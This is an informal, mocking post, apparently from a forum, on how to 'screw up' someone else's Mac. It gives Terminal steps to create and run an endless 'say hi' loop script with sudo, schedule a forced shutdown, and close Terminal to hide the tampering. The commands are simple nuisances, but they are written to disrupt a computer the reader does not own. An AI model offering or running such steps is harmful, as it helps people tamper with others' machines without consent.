How to screw up someones mac

Yes i am a mac user and you are PC users, so if you bitches want revenge, type this into Terminal


Make it say hi non-stop

nano
while (true) do
say hi
done
(Press Control X)
Type fail
(Press enter TWICE)
sudo chmod +x fail
<Administrator password [if ya know it]>
killall Terminal

Open the file called fail



Turn off
sudo shutdown -h <place MILITARY time here when you want shutdown>
killall Terminal

Now wait.... for lol

Yeh hope you'll be lucky to get your hands on a mac